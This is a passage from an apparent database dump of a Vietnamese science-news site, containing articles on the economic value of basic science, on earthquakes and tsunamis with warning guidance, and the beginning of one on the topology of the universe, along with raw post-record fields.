cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> <br /> <strong>2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</strong></div> <div> <br /> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> <br /> <strong>2.4. Giáo dục</strong></div> <div> <br /> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '2016062008370187760659a610879e83b0cb7684dc821e.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66693', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban-1', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '719', 'rght' => '720', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '414', 'name' => 'Động đất và sóng thần: nguồn năng lượng hủy diệt', 'code' => null, 'alias' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trận động đất cường độ 9 độ Richter xảy ra ngoài khơi vùng biển Đông Bắc Nhật Bản ngày 11/3/2011 và đợt sóng thần tiếp theo đó đã gây ra những thiệt hại nghiêm trọng cho đất nước Nhật Bản. Để có một khái niệm về cường độ năng lượng giải phóng, ta có thể nói là quả bom hạt nhân ném xuống Hiroshima năm 1945 chỉ tương đương với một trận động đất 5,7 độ Richter.</div> <div> <br /> <strong>Động đất</strong></div> <div> <br /> Trận động đất vừa qua ở Nhật Bản gây nhiều thiệt hại do các xung động của chính nó hay của các dư chấn mà cường độ có thể lên đến 6 độ Richter. Những thiệt hại về tài sản trên các công trình xây dựng đều rất lớn, đó là chưa kể đến thảm hoạ hạt nhân, mặc dù được hạn chế đến mức tối đa, xảy ra khi lò phản ứng Fukushima 1 bị nóng chảy tâm lò sau sự cố LOCA (mất nước làm lạnh) và gian lò bị nổ. Năm 2007, một trận động đất gây ảnh hưởng đến nhà máy điện hạt nhân Kashiwazaki-Kariwa lớn nhất ở Nhật Bản, nhưng may là người ta đã ngừng lò kịp.</div> <div> </div> <div> Trong lịch sử thế giới, các trận động đất lớn đã gây tử vong cho khoảng 6,5 triệu người, chủ yếu là ở Trung Quốc (3 triệu) và Trung Đông (1,5 triệu). Bảng 1 liệt kê 10 trận động đất lớn nhất trong thế kỷ 20 và số tử vong chúng gây ra. Trong trường hợp trận động đất ở Sumatra-Andaman năm 2004, số tử vong cao là hậu quả của đợt sóng thần lan đến nhiều nước trong vùng Ấn Độ dương. Số tử vong ở Haiti năm 2010 lên rất cao vì đây là một nước nghèo, các điều kiện bảo vệ và chống động đất quá yếu kém. Trận động đất ở Nhật Bản lần này, theo nhiều chuyên gia, có thể được xem là trận lớn thứ 5 trong lịch sử.</div> <div> <br /> Bảng 1 Mười trận động đất lớn nhất trong thế kỷ 20</div> <div> </div> <div> Năm Địa điểm Cường độ Số tử vong</div> <div> </div> <div> 2010 Haiti 7 200.000-300.000</div> <div> 2004 Sumatra-Andaman 9,3 283.100</div> <div> 1976 Đường Sơn (Trung Quốc) 7,5 255.000</div> <div> 1920 Hải Nguyên (Trung Quốc) 7,8 200.000</div> <div> 1923 Kanto (Nhật Bản) 7,9 142.800</div> <div> 1948 Ashgabat (Turkmenistan) 7,3 110.000</div> <div> 2005 Pakistan 7,6 86.000</div> <div> 1908 Messina (Ý) 7,2 72.000</div> <div> 1970 Chimbote (Pêru) 7,9 70.000</div> <div> 1990 Iran 7,4 40.000-50.000</div> <div> </div> <div> Động đất liên quan đến các mảng kiến tạo của Trái Đất và chúng xảy ra ở những nơi các mảng này tiếp xúc với nhau, ở đây có những chuyển động của vỏ Trái Đất. Nếu một mảng kiến tạo chui xuống dưới một mảng khác thì ta có hiện tượng hút chìm-nơi tích tụ nhiều năng lượng của các lực căng chỉ đợi được giải phóng ra bằng các trận động đất. Trên thế giới, người ta biết là có đến 4000 km biên giới của các vùng hút chìm và Nhật Bản nằm trên một vùng hút chìm quan trọng, nơi mảng kiến tạo Thái Bình Dương đang chìm xuống dưới nước Nhật. Tiêu điểm của trận động đất (chấn tiêu) thường nằm sâu dưới mặt đất. Từ đấy các sóng địa chấn được truyền đi và các máy ghi địa chấn có thể xác định vị trí của chấn tiêu cũng như của tâm chấn ngoài, tức là điểm trên mặt đất nằm ngay trên chấn tiêu. Trên hình 1, ta có bản đồ các trận động đất gần đây nhất đã được Cục Khảo sát Địa chất Mỹ (USGS) vẽ ngày 27 tháng 1-2011. Các địa điểm động đất đều nằm trên các đường nứt gãy có liên quan đến các mảng kiến tạo. Ta cũng thấy là USGS có ghi trận động đất xảy ra tháng 11/2007 có cường độ 4,5-5 độ Richter ngoài khơi Vũng Tàu trên đới đứt gãy dọc bờ biển miền Nam Trung Bộ.</div> <div> </div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/tho nhan 1inter.jpg" style="width: 480px; height: 246px;" /><br /> </div> <div> Hình 1 Bản đồ các trận động đất trên thế giới (USGS, IRIS)</div> <div> </div> <div> </div> <div> Các trận động đất thường chỉ kéo dài vài giây đồng hồ nhưng cũng đủ để gây ra những thiệt hại vô cùng lớn. Trận động đất năm 2004 ở Sumatra kéo dài đến 9 phút, trong khi trận động đất vừa qua ở Nhật Bản kéo dài 2 phút.</div> <div> </div> <div> <strong>Sóng thần</strong></div> <div> <br /> Nếu động đất xảy ra trong đất liền thì ít có khả năng có sóng thần đi kèm theo trừ khi các biển nội địa hay các hồ nước lớn bị tác động bởi những dịch chuyển của đất đá dưới mặt nước. Nhưng khi động đất xảy ra ngoài biển và có cường độ hơn 6,5 độ Richter thì có thể sinh ra sóng thần có sức tàn phá rất lớn như chúng ta thấy tại Nhật vừa qua hay ở các nước Nam Á năm 2004. Các đợt sóng thần mang theo lượng năng lượng khổng lồ vì chúng do những khối lượng nước rất lớn tạo ra sau khi có một trận động đất bất thình lình dịch chuyển một diện tích đáy biển hàng nghìn cây số vuông chỉ trong vài giây đồng hồ rồi truyền năng lượng thẳng lên bề mặt.</div> <div> </div> <div> Sóng thần có thể gây ra do lở đất dưới biển hoặc do các trường hợp hiếm gặp hơn như phun trào núi lửa hay phun trào dung nham dưới nước. Nó cũng có thể có nguồn gốc từ một vụ va chạm của một hành tinh nhỏ khi rơi xuống đáy đại dương. Ngày 18/11/1927, một trận động đất M7,2 ở 300 km phía nam Newfoundland (Bắc Canada) đã gây ra một vụ lở đất dưới biển làm dịch chuyển 200 km3 đất và vụ lở đất ở Storegga ngoài khơi Na Uy 79.000 năm trước đây làm cho 1000 km3 trầm tích biển sụp đổ. Ngày 26/12/2004, trận động đất M9 ngoài khơi Sumatra (Indonesia) đã nâng một dải đáy biển dài 1200 km lên cao 8 m, chấn tiêu của nó nằm dưới sâu 30 km.</div> <div> </div> <div> Lực duy trì sóng trong cột nước biển sau khi đáy biển bị nhiễu loạn là lực trọng trường. Sức mạnh của nó tuỳ thuộc vào cường độ của nhiễu loạn ban đầu, khoảng cách di chuyển của sóng, hình thái mặt đáy biển, khả năng các lớp đất đá hấp thụ hết năng lượng cũng như hình dáng bờ biển. Tốc độ di chuyển của sóng có thể lên đến vài trăm cây số một giờ và sóng thần có thể vượt qua hàng nghìn cây số đại dương trong vài tiếng đồng hồ. Bước sóng của nó - khoảng cách giữa hai làn sóng nối tiếp nhau - có thể là vài trăm cây số. Ngoài biển khơi, sóng thần rất khó phát hiện và chiều cao của sóng chỉ là vài chục cm gần nơi xảy ra nhiễu loạn. Các vệ tinh như Topex-Poseidon hay ERS-1 đã có thể đo độ cao sóng biển với độ chính xác vài cm. Tuy nhiên, cũng như các loại sóng khác, khi chúng tiến vào các vùng nước cạn gần bờ, nhiều thay đổi sẽ xảy ra, bước sóng rút xuống còn từ 10 đến 20 km, khi nước có tốc độ cao đến đẩy các luồng sóng đi trước, chiều cao của chúng tăng lên, đôi khi đạt đến vài chục mét và tiến sâu vào đất liền, tàn phá những vùng đất thấp dọc bờ biển. Sóng thần ở Sendai, Nhật Bản hôm 11/3 vừa qua cao đến 10 mét. Năm 1755, tiếp theo một trận động đất M9, đợt sóng thần ở Lisbon (Bồ Đào Nha) có độ cao trên 30 mét và năm 1883, sóng thần do hoạt động núi lửa Krakatoa ở Indonesia gây ra có độ cao lên đến 40 mét. Năm 1737, một trận động đất gần bán đảo Kamchatka gây nên một đợt sóng thần cao 50 mét khi chúng tiến đến đảo Kurile.</div> <div> </div> <div> Những vùng nhạy cảm nhất đối với sóng thần nằm dọc bờ biển Thái Bình Dương, ở đây có đến 85% toàn bộ các đợt sóng thần do động đất gây ra vì đại dương rất rộng và có nhiều hoạt động địa chấn và núi lửa của mảng kiến tạo Thái Bình Dương. Theo ước tính, trong thế kỷ 20 vừa qua có chừng 50.000 người tử vong do khoảng 400 đợt sóng thần gây ra. Bước vào thế kỷ 21, đợt sóng thần Sumatra-Andaman cuối năm 2004 đã làm 230.000 người chết chỉ trong vòng vài tiếng đồng hồ và có đến hàng triệu người bị mất nhà cửa. Bảng 2 liệt kê 10 đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử, các số liệu ở các thế kỷ 18-19 chỉ có một độ chính xác tương đối.</div> <div> </div> <div> <strong>Bảng 2 Những đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử</strong></div> <div> </div> <div> Số nạn nhân Năm Địa điểm</div> <div> 230.000 2004 Sumatra-Andaman (Indonesia)</div> <div> 60.000 1755 Lisbon (Bồ Đào Nha)</div> <div> 40.000 1782 Đài Loan</div> <div> 36.500 1883 Krakatoa (Indonesia)</div> <div> 30.000 1701 Tokaido-Nankaido (Nhật Bản)</div> <div> 26.360 1896 Sanriku (Nhật Bản)</div> <div> 25.674 1868 Bắc Chi Lê</div> <div> 15.030 1792 Kyushu (Nhật Bản)</div> <div> 13.481 1771 Ryukyu (Nhật Bản)</div> <div> 8.000 1976 Vịnh Moro (Philippin)</div> <div> </div> <div> <strong>Dự báo sóng thần và các phương pháp tiếp cận giảm thiểu tác hại</strong></div> <div> <br /> Sóng thần được hiểu rõ hơn động đất nhưng đối với các sóng thần do động đất gây ra, việc dự báo dài hạn cũng rất khó. Mặt khác, nguyên tắc dự báo ngắn hạn thì tương đối đơn giản, ít ra cũng trên mặt lý thuyết: thu thập các thông tin về biến dạng của đáy biển trong các đại dương rồi truyền theo thời gian thật đến các chuyên gia ở các trung tâm chuyên trách để tính cường độ của hiểm hoạ và lấy quyết định sơ tán vùng bị đe doạ. Đối với các sóng thần vượt đại dương, người ta có thể có khoảng thời gian nhiều giờ giữa trận động đất và lúc sóng thần ập đến. Vị trí và quy mô của trận động đất có thể được xác định nhanh chóng và chính xác nhờ các quan trắc địa chấn và sự hình thành cũng như sự lan truyền của sóng thần có thể được xác nhận bởi các hệ thống quan sát mực nước biển ngoài khơi như các cảm biến đo áp suất đặt dưới đáy biển. Khoảng 10 phút giữa chấn động đầu tiên và lúc các luồng sóng gây chết người ập đến cũng đủ để người dân chạy thoát khỏi các vùng nguy hiểm, cứu được hàng trăm nghìn nhân mạng và cả tài sản của họ.<br /> </div> <div> <span style="display: none;"> </span><img alt="" src="/admin/webroot/upload/image/images/Tho Nhan 2inter.jpg" style="width: 480px; height: 308px;" /><span style="display: none;"> </span></div> <div> </div> <div> </div> <div> Hình 2 Bản đồ các trạm DART tại khu vực Thái Bình Dương</div> <div> </div> <div> </div> <div> Một loạt trạm cảnh báo đặt chung quanh Thái Bình Dương để đo bất kỳ một hoạt động bất thường nào của thuỷ triều hay sóng biển tiếp theo một sự kiện địa chấn. Hệ thống Cảnh báo Đánh giá Sóng thần ngoài Biển khơi (DART, Deep Ocean Assessment Reporting of Tsunami) đã được đặt ở Thái Bình Dương, dọc vùng hút chìm Alaska, nơi phát sinh nguy hiểm của các đợt sóng thần trên bờ biển phía Tây nước Mỹ và Hawaii cũng như đối với các nước khác ven bờ Thái Bình Dương. Trên hình 2, ta có hệ thống các trạm DART đã có (6 trạm) và gần 40 trạm đã lên kế hoạch xây dựng tiếp theo thảm hoạ sóng thần Sumatra-Andaman năm 2004. Mỗi trạm gồm một địa chấn kế, máy đo áp lực của sóng trên đáy biển, các cột mộc thuỷ triều và các hệ thống truyền tín hiệu đến các nhà khoa học để đánh giá tính nguy hiểm của chúng. Ở Nhật, cảnh báo sóng thần được truyền đi chỉ từ 2 đến 5 phút sau động đất rồi chuyển đến dân cư vùng biển nhờ các phương tiện truyền thông.</div> <div> </div> <div> Người dân Nhật được giáo dục kỹ về các hiểm họa của sóng thần và cách ứng xử khi nhận được cảnh báo nhờ thế mà số thương vong có thể được giảm đi rất nhiều. Các hướng dẫn về những điều phải làm sau cảnh báo sóng thần đầu tiên do cơ quan khí tượng Nhật Bản phổ biến (xem dưới đây) hay các lộ trình thoát khỏi vùng bờ biển bị sóng thần ập vào ở Mỹ là những biện pháp tích cực nhằm giảm thiểu các tác hại do sóng thần gây ra.</div> <div> </div> <div> <strong>Các hướng dẫn những điều phải làm sau cảnh báo sóng thần đầu tiên</strong></div> <div> </div> <div> 1. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi cảm thấy một chấn động mạnh hay một chấn động yếu, chậm nhưng kéo dài.</div> <div> 2. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi có thông báo sóng thần.</div> <div> 3. Tìm thông tin đúng đắn từ truyền hình, truyền thanh hay internet.</div> <div> 4. Đừng đến bờ biển để tắm hay câu cá khi có khuyến cáo về sóng thần hay khi một cảnh báo về sóng thần đã được phát ra.</div> <div> 5. Đừng mất cảnh giác cho đến khi cảnh báo được bãi bỏ vì sóng thần có thể lặp đi lặp lại.</div> <div> </div> <div> (Cơ quan Khí tượng Nhật Bản)</div> ', 'images' => '20160620083507a5aa65ff774a341ce7bd82defce3cfd6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '70070', 'slug' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '717', 'rght' => '718', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '413', 'name' => 'Topo của vũ trụ', 'code' => null, 'alias' => 'topo-cua-vu-tru', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Vấn đề nghiên cứu topo của vũ trụ đang gây chú ý của nhiều nhà vũ trụ học. Nhiều vũ trụ xét về mặt hình học là một vũ trụ vô hạn (infinite) song nếu chú ý đến topo (tức đến toàn cục) thì lại là một vũ trụ hữu hạn (finite). Nhiều quan sát CMB (Cosmic Microwave Background- Bức xạ Phông Vũ trụ) cũng được chính xác hóa thêm nhờ những chi tiết phát sinh từ những hệ quả topo. Bài viết này nhằm mục đích giới thiệu trong vài nét tổng quát ảnh hưởng của topo đến vũ trụ học.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (5).jpg" style="width: 227px; height: 142px;" /></div> <div> <br /> <strong>Topo (topology) là gì?</strong></div> <div> </div> <div> Topo là môn học nghiên cứu hình dạng của một không gian về các mặt cơ bản nhất đó là tính liên thông (connectedness), tính liên tục (continuity) và các biên (boundary). Những tính này bất biến đối với các phép biến đổi liên tục gồm các biến đổi như kéo dài, uốn cong mà không bao gồm các biến đổi như xé rách (tearing) hoặc dán dính (gluing).</div> <div> </div> <div> Xem hình 1 ta thấy một cái cốc, một hình xuyến và một hình xuyến xoắn là tương đương topo với nhau. <br /> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC1.jpg" /></div> <div> </div> <div> Hình 1. Cái cốc, hình xuyến và hình xuyến xoắn là tương đương topo với nhau.</div> <div> </div> <div> Quả thật như vậy chỉ cần các phép kéo dài và uốn cong ta có thể biến một hình xuyến thành một cái cốc (xem hình 2).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC2.jpg" /></div> <div> </div> <div> Hình 2. Biến một hình xuyến thành cái cốc nhờ các phép biến đổi liên tục topo</div> <div> </div> <div> <strong>Hình học và topo</strong></div> <div> </div> <div> Cần phân biệt hình học (độ cong phẳng, dương hay âm?) và topo (dạng như thế nào, liên thông như thế nào?). Xét về mặt hình học có thể tồn tại 3 loại vũ trụ: vũ trụ phẳng (Euclidean, độ cong bằng không), vũ trụ cầu (đóng, hữu hạn và độ cong dương) và vũ trụ hyperbolic (mở, vô tận và độ cong âm), xem hình 3.</div> <div> </div> <div> Khi nói đến độ cong âm người ta thường nghĩ đến một không gian vô hạn. Song có thể có nhiều độ cong trong một topo, ví dụ một hình xuyến (torus) có độ cong âm ở mặt trong (inside edge) mặc dầu nó là một topo hữu hạn (finite).</div> <div> </div> <div> Thuyết tương đối tổng quát (với các phương trình Einstein vốn là những phương trình vi phân ) chỉ nói lên được tính định xứ (local) mà không thể xác định được tính toàn cục (global) tức topo của vũ trụ. Thuyết tương đối tổng quát không bất biến đối với các biến đổi đồng phôi (homeomorphism-xem chú thích) mà chỉ bất biến đối với các biến đổi vi phôi (diffeomorphism) tức các biến đổi tọa độ.</div> <div> </div> <div> Với một vũ trụ đồng nhất và đẳng hướng ta có lời giải là metric Friedmann-Lemaitre-Robertson-Walker (FLRW):</div> <div> </div> <div> ds2=gµvdxµdxv=-dt2+a2(η)[ dr2 + r2 (dθ2 + sin2θdΦ2)] </div> <div> 1 - kr2</div> <div> </div> <div> trong đó a = thừa số kích thước của vũ trụ, độ cong k =0,+1,-1 tương ứng với độ cong bằng không, độ cong dương và độ cong âm (xem hình vẽ 3).</div> <div> </div> <div> Giữa bán kính độ cong R và mật độ trung bình của vật chất trong vũ trụ có mối quan hệ R = a/|k|1/2 = 1/H|Ω-1|1/2, trong đó H = số Hubble, Ω = ρ/ρc còn ρc là mật độ ứng với vũ trụ phẳng. Ta có các vũ trụ với độ cong bằng không, độ cong dương và độ cong âm tương ứng với các mật độ Ω = 1, >1 và <1.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC3.jpg" /></div> <div> </div> <div> Hình 3 . Từ trái sang phải: độ cong phẳng, độ cong dương và độ cong âm </div> <div> </div> <div> Một yếu tố metric định xứ cho trước có thể tương ứng với một tập lớn mô hình vũ trụ khác nhau về mặt topo.</div> <div> </div> <div> Tồn tại vô số (đếm được) những dạng không gian với độ cong dương, tất cả đều là những không gian đóng và vô số không gian với độ cong âm trong đó một số là không gian đóng (hữu hạn) một số là không gian mở (vô tận). </div> <div> </div> <div> Thuyết tương đối mô tả một hình xuyến và một mặt phẳng với cùng những phương trình như nhau mặc dầu hình xuyến là hữu hạn trong khi mặt phẳng là vô hạn. Để xác định topo của vũ trụ cần những hiểu biết vật lý nằm ngoài lý thuyết tương đối (như CMB - Cosmic Microwave Background - Bức xạ Phông của Vũ trụ).</div> <div> </div> <div> Hãy hình dung một buồng gương, đó là cái phòng với 6 bức tường (gồm cả trần và nền) là gương. Nếu chúng ta vào một phòng như thế với vài ngọn nến thì vì hệ quả phản chiếu trên các tường bằng gương chúng ta có cảm giác lọt vào một không gian vô tận.</div> <div> </div> <div> Giống như trong một buồng gương (xem hình 4) sự vô tận của vũ trụ có thể chỉ là một ảo tưởng. Vũ trụ có thể hữu hạn trong thực tế. Ảo tưởng vô tận phát sinh từ hiện tượng tia sáng thực hiện một quỹ đạo chạy quanh không gian nhiều lần (khi vũ trụ là hữu hạn) và như thế tạo nên hình ảnh đa bội của từng thiên hà. </div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC4.jpg" /></div> <div> </div> <div> Hình 4 . Buồng gương gây hệ quả vô tận của một đối tượng hữu hạn</div> <div> </div> <div> Nếu trong buồng kính ta có 3 quả bóng thì bức tranh tạo nên là hình ảnh của vô số quả bóng như trong hình 